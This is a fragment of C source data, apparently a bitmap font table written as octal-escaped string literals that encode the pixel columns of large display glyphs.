"\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\370\376\377\377\377\177\77\37\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\14~\376\177\177\77\77\37\17\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300@\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\340\340\300\300\200\200\0\0\0\0\37\377\377\377\377\377\377\0\0\0\0\0\200\200\300\300" "\340\300\0\0\17\17\17\17\37\37\37\37\77\77\276\376\374\377\377\377\377\377\374\376\276>\77\37\37\37\37\17" "\17\17\17\10\0\0\0\200\300\340\360\370\376\377\377\177\77\17\7\3\7\17\77\177\377\377\376\370\360\340\300\200" "\0\0\0\0\0\0\0\3\3\7\17\17\7\3\1\0\0\0\0\0\0\0\0\0\1\3\17\17\17\7\3\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\340\340\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\77\77\77\77\77\77\77\77\77\77\77\77\77\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77" "\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\17\17\17\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\37\277\377\377\377\377\377\377\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\60x|\376\177\77\37\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0~~~~~~~~~~~~~~~~~~~~~~~~~~" "~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\37\77\77\77\77\37\37\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\370\370\360" "\360`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\374\377\377\377\377\177\37\7" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\377\377\77\7\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\377\377\77\17\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377\77\17\3\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\374\377\377\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\14\17\37\37\77\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376\377\377\377\177\77\37\37\17\17\37\37\77\377\377\376\374\370\360\300\0" "\0\0\0\0\200\370\377\377\377\377\377\377\17\3\0\0\0\0\0\0\0\300\340\360\374\377\377\77\377\377\377\377" "\370\200\0\0\377\377\377\377\377\377\377\0\0\0\0\200\340\360\374\376\177\77\37\7\3\1\0\0\377\377\377\377" "\377\377\0\0\7\177\377\377\377\377\377\374\370\376\177\77\37\7\3\1\0\0\0\0\0\0\200\370\377\377\377\377" "\377\7\0\0\0\0\3\17\37\77\377\377\377\377\376\370\360\360\340\340\340\340\360\360\374\376\377\377\177\77\17\3" "\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0p\370\370\374\374~~\177\177\77\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0`\360\370\374\376\377\377\77\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\376\374\360" "\340\200\0\0\0\0\0\0\0\1\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\303\377\377\377\377\377" "\377\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\370\376\377\377\177\77\37\17\7" "\1\0\0\0\0\0\0\0\0\0\0\300\340\360\370\374\376\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\300\360\374\376\377\377\377\377\357\347\343\341\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\360\360\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\10\34>~\377\177\77\77\37\37\17\17\17\37\37\37\77\77\377\377\377\376\374\370\360" "\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\377\377\377\377\377\177" "\37\0\0\0\0\0\0\0\0\0\0\0\0\0>>>>>>\77\177\177\377\377\377\377\377\363\341\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\207\377\377\377\377\377" "\377\370\0\0\0\0 x\374\376\377\377\370\370\360\340\340\340\340\340\340\340\360\360\370\374\377\377\377\377\177\77" "\17\3\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\300\300\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374\376\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\377\377\77\37\7\3\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\200\340\360\374\376\377\377\77\37\7\1\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0|\177\177\177\177\177\177\177~~~~~~~~~~\377\377\377\377\377\377\377~~~" "~~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\0\0\0\0\0\0\0\370\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\0\0\0\0\0\0\0\377\377\377\377\377\377\377\340\340\360\360\360\360\360\360\360\360\340\340\300\300\200\0\0" "\0\0\0\0\0\0\0\36\37\77\77\177\77\37\17\7\7\7\3\3\3\3\7\7\17\37\77\377\377\377\377\376" "\374\360\200\0\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\377\377\0\0\10\30<~\377\377\377\376\370\370\360\360\340\340\340\340\340\340\360\360\370\374\377\377\377\377\177" "\37\17\1\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0" "\0\0\0\0\0\0\0\0\200\340\360\370\374\376\377\377\177\77\77\37\37\37\17\17\17\37\37\77\177\377\177>" "\36\14\0\0\0\0\340\374\377\377\377\377\377\77\203\301\300\340\340\340\340\340\340\340\340\340\300\300\200\200\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\377\77\37\37\17\17\7\7\7\7\7\17\37\77\377\377\377\377\376" "\370\360\200\0\0\0\77\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377" "\377\377\377\0\0\0\0\1\17\37\177\377\377\377\377\374\370\360\340\340\340\340\340\340\360\370\374\377\377\377\377\177" "\37\17\1\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\0\0\0\0\0\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\217\377\377\377\377\377\377\177\37" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377\177\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\377\377\77\17\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\377\377\77\17\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377\377\377\177\17\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\6\7\7\7\7\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\374\376\376\377\377\177\77\37\37\37\17\17\37\37\37\77\377\377\377\376\376\374\360" "\300\0\0\0\0\0\0\37\177\377\377\377\377\377\360\300\200\200\0\0\0\0\0\200\300\360\377\377\377\377\377\77" "\17\0\0\0\0\0\0\0\200\300\341\363\367\377\377\377\177\77\77>>~\177\377\377\377\377\367\343\341\300\0" "\0\0\0\0\0\360\374\377\377\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377\377\377" "\376\370\0\0\0\7\37\77\177\377\377\377\377\374\370\360\340\340\340\340\340\340\340\360\360\370\376\377\377\377\177\77" "\37\7\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376\377\377\177\77\37\37\17\17\17\37\37\77\177\377\377\376\374\370\360\340" "\0\0\0\0\0\0\376\377\377\377\377\377\377\3\0\0\0\0\0\0\0\0\0\0\0\0\7\377\377\377\377\377" "\377\370\0\0\0\0\1\17\77\177\377\377\377\377\374\370\360\340\340\340\340\340\360\360\370\374\376\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\7\7\3\3\1\361\377\377\377\377\377" "\377\17\0\0\0\0\0\340\360\370\374\374\374\360\360\340\340\340\340\340\340\360\360\370\374\377\377\377\177\77\17\7" "\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\340\340\340\340\300\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\77\77\177\177\177\177\77\77\17\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\37\77\77\77\77\37\37\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\37\77\77\77\77\37\37\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\360\370\370\370\370\360\360\340\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\17\377\377\377\377\377\377\177\37\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\30<>\177\77\37\17\7\3\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\360\360\370" "\370\374\374\376\0\0\0\200\200\300\300\340\340\360\360\370\370\374\374\376\376\177\177\77\77\37\37\17\17\7\7\3" "\3\1\1\0~\177\377\377\377\377\377\377\367\347\343\303\201\201\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\1\3\3\7\7\17\37\37\77\77\177\177\376\376\374\374\370\370\360\360\340\340\300\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\17\17\37\77\77" "\177\177\377\376\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374" "\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0~~~~~~~~~~~~~~~~~~~~~~~~~~~~" "~~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\376\374\374\370\370\360\360\340\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\1\1\3\3\3\7\7\17\17\37\37\77\77\177\177\376\376\374\374\370\370\360\360\340\340\300\300\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\201\201\303\303\347\347\377\377\377\377\377" "\377\377\177~\0\0\200\200\300\300\340\340\360\360\370\370\374\376\376\377\177\177\77\37\37\17\17\7\7\3\1\1" "\0\0\0\0\377\377\177\77\77\37\37\17\17\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\340\360\360\360\360\360\360\360\360\340\340\300\300\200\0\0\0" "\0\0\0\0\0\30<~\377\377\377\177\77\37\17\7\7\7\3\3\3\7\7\17\37\77\377\377\377\377\376\370" "\340\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\377\377\377\377\377\377" "\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\374\376\377\377\377\177\77\37\17\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\37\37\37\37\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\370\360\340\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\0\300\340\360\370\374\376\377\377\177\77\37\37\37\17\17\17\17\37\37\37\77\77\177\377\376\374" "\370\340\300\0\370\377\377\377\377\177\17\3\1\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\374\375\377\377" "\377\377\377\374\377\377\377\377\377\0\0\0\0\0\374\377\377\377\377\377\217\3\1\1\0\0\0\0\0\300\377\377" "\377\377\377\377\77\377\377\377\377\376\340\200\0\0\1\7\37\77\77\177\177\376\376\376\374\374\376~\177\77\177\177" "\177\177\177\177\0\1\3\17\37\77\177\377\377\376\374\370\370\360\360\340\340\340\340\340\340\340\340\340\360\360\370\370" "\340\300\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\3" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\377\377\374\360\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377\377\177\17\37\377\377\377\377\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\360\376\377\377\377\377\37\3\0\0\0\0\7\37\377\377\377\377\376\370\300\0\0" "\0\0\0\0\0\200\340\374\377\377\377\377\177\177~~~~~~~~~~\177\177\377\377\377\377\376\370" "\300\0\0\0\374\377\377\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77\377\377\377" "\377\377\370\340\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\37\37\37\77\177\377\377\377\376\376\374" "\360\300\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\200\200\200\300\340\360\377\377\377\377\377" "\177\37\0\0\377\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\177\177\177\377\377\377\377\363\341\340" "\200\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\377\377\377\377" "\377\377\374\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340\340\340\360\360\360\370\374\377\377\377\377\177" "\77\17\3\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\3\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0" "\0\0\0\0\0\0\0\300\340\360\374\374\376\377\377\177\77\77\37\37\17\17\17\37\37\37\77\177\377\377\376\376" "\374\370\360\300\300\370\377\377\377\377\377\377\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7" "\7\3\3\1\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\177\377\377\377\377\377\376\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\3\7\37\77\177\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\360\370\370\374\377\377" "\377~\34\14\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\37\37\37\77\177\377\377\377\376\374\370\360" "\340\200\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\177\377\377\377" "\377\377\374\340\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\374\377\377\377" "\377\377\177\7\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\360\360\360\370\370\374\376\377\377\377\177\77\17" "\7\1\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\3\3\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 